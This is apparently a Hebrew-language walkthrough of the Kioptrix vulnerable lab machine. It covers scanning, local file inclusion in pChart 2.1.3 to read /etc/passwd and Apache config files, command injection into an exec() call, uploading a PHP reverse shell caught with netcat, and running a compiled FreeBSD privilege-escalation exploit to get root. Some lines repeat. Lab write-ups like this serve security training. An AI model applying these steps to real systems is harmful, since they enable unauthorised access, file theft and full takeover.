דו"ח Kioptrix
1. יש למצוא את המכונה ברשת בעזרת arp-scan 172.16.0.0/16 ולהוסיף אותה לטווח בתוכנת ה-Burp.
2. יש להריץ ספיידר בתוכנת ה-Burp, ולהתחיל סריקות באמצעות Nikto ו-Nmap.
3. סריקה באמצעות Nikto:
Nikto Scanning: nikto –h 172.16.0.23
Server: Apache 2.2.21 (FreeBSD) learn about other features: PHP version, Open SSL, HTTP Methods,Port 80, etc…
4. חיפוש אחר שגיאות תכנות, בקוד המקור:
* במקרה הנוכחי המפתח שכח למחוק את הערת ה-META שהוסיף ומוביל אותנו לעמוד:
pChart2.1.3/index.php
* נבדוק האם כתובת זו מובילה אל עמוד מסויים ונוסיף אותה אל שורת הכתובות אחרי כתובת ה-IP.
להפתעתנו גילינו ממשק אינטרנטי ויש לנו גישה אליו.
להפתעתנו גילינו ממשק אינטרנטי ויש לנו גישה אליו.
* נבדוק את היישום בעזרת Burp או Tamper Data ונחפש פגיעות חדשה.
* בעזרת Tamper Data קיבלנו מידע אודות ה-Session, נעתיק את הקובץ ונחפש נקודת הזרקה.
* בעזרת Tamper Data קיבלנו מידע אודות ה-Session, נעתיק את הקובץ ונחפש נקודת הזרקה.
* בדוגמא שלפנינו נקודת ההזרקה היא החלפת הקובץ אחרי המילה =Script.
* כעת, יש לנו אפשרות לפתוח קבצים, ננסה לבדוק את קובץ המשתמשים: etc/passwd/
5. כפי שראינו בשלב הסריקות (בהתחלה) מערכת ההפעלה מבוססת FreeBSD ומותקן עליה שירות Apache Server 2.2. ננסה למצוא את המיקום של קובץ הקונפיגורציה (גוגל) וננסה לגשת לשם:
http://172.16.0.23/pChart2.1.3/examples/index.php Action=View&Script=/usr/local/etc/apache22/httpd.conf
* בנוסף לקובץ הנ"ל ישנו קובץ נוסף בנתיב etc/rc.conf/ המספק לנו מידע אודות חומת האש ומיקום קובץ הקונפיגורציה שלה.
* ניגש אל הקובץ ונצפה בהגדרות:
* נמשיך אל קובץ הקונפיגורציה של Apache, לאחר חיפוש קצר בגוגל, הקובץ נקרא httpd.conf והוא נמצא בנתיב /usr/local/etc/apache22/httpd.conf/
השירות מאזין בפורטים 80 & 8080
* נגלול למטה ונמצא גם מידע אודות ה-User Agent ומיקום בו יש הרשאות כתיבת גבוהות Root.
* נחליף את ה-User Agent שלנו לדפדפן זהה כפי שכתוב בקובץ הקונפיגורציה Mozilla 4.0 וניכנס לאתר בפורט 8080.
6. נפתח את הקובץ ונחפש נקודת הזרקה חדשה.
7. נפתח שוב את הכלי Tamper Data ונאתר היכן נשמרים הקבצים:
8. כעת, ננסה לפתוח את עמוד Draw Image שנמצא בצד השרת:
9. נקודת ההזרקה היא אחרי tob. מה שקורה כאן בעצם המערכת לוקחת קבצים והופכת אותם לפורמט PDF.
$pfilef=str_replace(".tob",".png",$_GET[pfilez]);
$pfilep=str_replace(".tob",".pdf",$_GET[pfilez]);
Header("Content-type: image/png");
if ($_GET[pdf] == "") Imagepng($image);
if ($_GET[pdf] == "make") Imagepng($image,"./data/pdf/$pfilef");
if ($_GET[pdf] == "make") exec("convert ./data/pdf/$pfilef ./data/pdf/$pfilep");
10. ננסה לכתוב פקודה ולהפנות את התשובה שלה לתוך קובץ:
11. כעת, לאחר שאנחנו יכולים לכתוב קבצים ננסה להעביר קובץ עם פקודות שיפתחו Reverse Shell:
* נפתח את קובץ rs.php שמצאנו באינטרנט ונעדכן את כתובת ה-IP, PORT וסוג SHELL.
* נפתח את קובץ rs.php שמצאנו באינטרנט ונעדכן את כתובת ה-IP, PORT וסוג SHELL.
* נפתח שרת HTTP באמצעות הפקודה: python –m SimpleHTTPServer 8000.
* נוריד את הקובץ לשרת. ניגש אל הכתובת הבאה ונמתין לקבלת קוד 200:
12. נפתח סוקט האזנה sudo nc –l 8000 –v.
13. נריץ את הכתובת משורת הכתובות.
14. הצעד הבא הוא לעשות Privilege Escalation, נכנס לגוגל ונחפש:
FreeBSD privilege escalation script
15. נעביר אותו אל השרת באמצעות הפקודה python –m SimpleHTTPServer 8000.
16. יש להיכנס אל הלינק באמצעות שורת הכתובות ולחכות לקבלת קוד 200 (GET):
17. נפעל על פי ההוראות של הסקריפט ונריץ את הפקודות הבאות לפי סדר:
* gcc esc.c –o xfile
* file xfile
* ./xfile
18. לאחר ההרצה המשתמש שלנו יהיה Root.